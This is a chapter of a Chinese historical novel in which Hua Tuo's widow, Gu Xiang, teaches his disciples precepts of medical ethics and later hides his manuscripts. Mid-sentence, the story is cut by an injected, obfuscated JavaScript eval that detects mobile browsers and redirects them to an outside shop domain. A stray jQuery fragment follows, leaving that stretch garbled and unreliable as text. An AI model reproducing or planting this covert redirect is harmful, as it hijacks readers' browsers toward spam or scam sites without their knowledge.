建安十一年的春天来得迟。
已经三月了，药圃里的柴胡才刚拱出寸把长的嫩茎，黄芪更慢，土面上只裂了几道细纹，要趴近了才看得见底下那点若有若无的绿意。窗外的老槐树倒是积极一些，枝头冒出了米粒大的新芽，密密匝匝地挤在一起，像一群刚睁开眼的小东西，还不太确定自己该往哪个方向长。
顾湘站在学堂的黑板前面。木板是松木的，刷了两层锅底灰，干透了，光滑而哑黑。她手里的炭条在板面上划过，发出细微的沙沙声，像虫子啃食叶片。四个字写完了：医者五戒。她把炭条放在窗台上，转过身来。
学堂里坐着十几个学生。年龄从十五岁到三十多岁不等，穿着新旧不一的短褐和长衫，挤在长条凳上，有的正襟危坐，有的微微前倾，有的把脚悄悄伸向炭盆的方向。窗外偶尔传来两声鸟叫，细细的、试探性的，像是也在听。
吴普坐在第一排正中间，手里攥着一支笔，眼睛一眨不眨地盯着黑板。他去年刚满二十，脸颊上的肉比在交州时多了一些，笑起来还是像弥勒佛，但认真的时候嘴唇会抿成一条线，脸上的圆润忽然就显出了一点棱角。
樊阿坐在靠窗的位置，阳光从窗纸的缝隙里漏进来，把他的侧脸照得发亮，颧骨上有一层淡金色的绒毛。他的手指间夹着一根银针，没有用，只是夹着，像是那根针已经长在了他的指缝里。
阿香坐在第三排靠墙的位置，面前铺着一张粗糙的草纸，手里捏着炭条，写得很慢，每写一个字都要想一想笔顺，但她的目光始终没有离开黑板。
“今天不讲医术。”顾湘开口了，声音不大，但学堂里安静得能听见炭盆里余烬轻微的坍缩声，“讲五条规矩。”
她转身，在“医者五戒”下面写下第一行字。
“一戒：不因病人贫富贵贱而区别对待。”
她写完，搁下炭条，回头看着学生们。“你们师父华先生，一辈子给无数人看过病。有穿绸缎的，有穿麻布的，有骑着高头大马来的，有被人用门板抬来的。他给人看病的时候，蹲下去的幅度是一样的，手伸出来的速度是一样的，说话的声调也是一样的。”
她停了停，目光扫过第一排。“吴普，你师父有没有因为一个人是乞丐就不给他看？”
吴普想了想，摇了摇头。“没有。师父给乞丐看的时候，还把自己的干粮分了他一半。”
“为什么？”
“因为……他饿。”
“因为他饿。”顾湘重复了一遍，“你师父看到的是‘一个人饿了’，不是‘一个乞丐饿了’。这两件事不一样。前者是看见了人，后者是看见了身份。”
她转过身，在黑板左侧空处写了一个“人”字。“你们以后会遇到各种各样的人——有钱的、没钱的，脾气好的、脾气坏的，懂道理的、不讲理的。你们的眼睛要看到‘人’本身，不要先看到他的身份。这是第一条。”
她重新拿起炭条，写下第二行。
“二戒：不因病情凶险而推诿不治。”
炭条在木板上走了几笔，声音沉稳而均匀。“你们师父在交州的时候，遇过一次鼠疫。村子里死了十几个人，活着的往外跑，没人敢进村。
有人劝他说——别去了，进去可能出不来。他没听。他带着药箱进了村，在里面待了七天。七天之后，疫情控制住了。他出村的时候，身上全是跳蚤咬的包，但没有染病。”
顾湘把炭条搁下，转过身来。“你们当中有人可能会遇到这样的情况——一个病人送到你面前，病情太重，你觉得自己治不了。这时候怎么办？推说‘另请高明’？让他抬回家等死？”
她看着下面的面孔，一个一个地看过去，“不治和治不好是两回事。治不好，是尽力之后的结果；不治，是你还没尽力就放弃了。你们师父一生没有拒绝过任何一个病人。不要在他手里断了这个规矩。”
她拿起炭条，写第三行。
“三戒：不因私利而滥用药物。”
她写完，把炭条换到左手，右手在衣摆上蹭了蹭。“谯县以前有个富商，姓王，五十多岁了，觉得自己精力不济，托人带了一百两银子来找你师父，要一副‘延年益寿’的方子。你师父收了银子没有？”
她看了一眼吴普。
“没有。”吴普说，“师父退回去了。开了一味甘草，让他回去少吃肉、多走路。”
“你师父说，他不需要吃药，需要少吃肉。你师父不会因为一个人有钱，就给他开一堆没用的贵重药材。不是因为他清高，是因为他手里开出去的每一味药，都该有它必须出现在那张方子上的理由。你们以后开方，要在心里问自己一句——这个药用在这里，是不是非它不可。如果不是，就不写。”
第四行接着写下去。
“四戒：不因疲惫而敷衍了事。”
顾湘写完这句，顿了一下。“你们师父从交州回来之后，身体一直不好。头风发作得越来越勤，手也抖了。但他写续篇的时候，每一个字都写得工工整整，每一味药的剂量都标得一清二楚。
我看过他在交州最后那一年写的竹简——字迹确实不如年轻时端正了，笔画偶尔会歪，但从来没有少过一笔。该写三钱的地方，不会写成二钱；该写后下的药，不会写成先煎。”
她说到这里，停了一下。“你们以后会有很长的工作要做。一天看几十个病人，写几十张方子，每一张都要认真。累了，歇一歇再写；困了，洗把脸再坐回诊桌前。但不要在病人的病案上省事。你们少写的那一笔，可能就是有人多受的一个月罪。”
第五行，她写得很慢，像在等这几个字自己落到木板的深处。
“五戒：不因恐惧而放弃努力。”
炭条停下来。她把炭条放在窗台上，拍掉指尖沾的灰。学堂里比刚才更安静了一些，连那只在窗外叫了一阵的鸟也住了声。
“这最后一条，我没有例子可以举给你们听。”顾湘说，“因为你们师父这一生，从来没有在任何病人面前表现出恐惧。不是他不怕——他怕的东西很多。
他怕治不好，怕病人死在手里，怕自己的医术不够用。但他从来没有让任何一个病人看见过他怕。他怕的时候，只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717277|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是自己握着针多缓了几口气，等心跳稳了，才落针。”
她看着底下的学生。“你们以后也会怕。怕错诊，怕漏诊，怕药下重了，怕针扎深了。这些都是正常的。但你们要记住——怕只能在心里，不能在手上。怕的时候，先自己站一会儿，稳住了，再走到病人面前。不要带着发抖的手去握针。”
学堂里安静了一阵子。春天的光线从窗外照进来，把浮在空气中的细微尘埃照得像一粒粒悬停的金粉。没有人说话，只有炭盆里的余烬还在发出细碎的爆裂声。
吴普坐在第一排，他的嘴唇动了动，像是想说什么，又咽回去了。过了一会儿，他举起了手。
“师娘，五条戒律里……没写‘不因病人骂你而生气’，是不是漏了一条？”
顾湘看着他，看了两息。然后她转过身，拿起炭条，在黑板的末端加了一行小字。那行字写得比前面五条都小，但每一笔都没有省略。
“六戒：不因误解而冷心。”
她写完，转过身来。“这条是你师父忘了写，我替他补上的。”
吴普看着那行小字，看了很久。窗外有风穿过来，把窗纸吹得轻轻鼓了一下。他低头看了看自己面前那张只写了五个词的纸，然后拿起笔，在旁边空白的地方慢慢地、仔细地加上了一行：六戒，不因误解而冷心。字还是歪歪扭扭的，但那六个字挤在一处，倒是用力。
一个月后，槐树的新叶长齐了，薄薄的、嫩绿色的，在春风里翻着背面的浅白。顾湘选了一个晴朗的傍晚走到树下，手里提着一只陶罐。阿香远远地站在药圃边上，手里攥着一把没择完的甘草，看着顾湘蹲下来，把锄头落在树根西南侧约一步的位置。
土是松的，春天刚翻过的。顾湘挖了二尺深，锄刃碰到硬物，发出一声闷响。她放下锄头，用手拨开浮土，露出底下一角油布。油布已经变色了，从当初的褐黄变成了灰黄，边角有些潮软，但还没有朽破。
她轻轻剥开土层，取出那个油布包，放在一旁。又从身边取出另一包，也是油布裹着的，用麻绳扎了三道，打成死结。两包并排放进陶罐里，一包是前七卷的原稿，一包是交州续篇。她合上罐盖，用一层新油布把罐口和罐身的接缝缠好，把陶罐放回坑底，盖土，踩实，在上面压了一块半大的石头。
阿香站在远处，看着先生蹲在槐树下面，弯着腰，把土一捧一捧地填回去。她的脊背在夕光里弯成一道弧线，头发已经白了大半，在金色的光线里像被染了一层淡薄的蜜。她没有过去。她知道有些事不需要人帮忙。
当晚，顾湘坐在灯下，翻开她的日记本。光线昏黄，晃着她的影子。她写了一行字：槐树下一套，长沙张仲景一套，冀州赵广一套。三处分藏，一失仍二在。她停了笔，想了想，又在下面添了一行。那行字写得很慢，像是一个人在把某种很重的东西轻轻地放下来：“华佗，我把你的书分好了。你安心。剩下的我来写。”
窗外有风穿过槐树，把新叶摇得哗哗响。那声音不疾不徐，像是有人坐在树冠深处，慢慢地、一遍遍地翻着一本永远翻不完的书。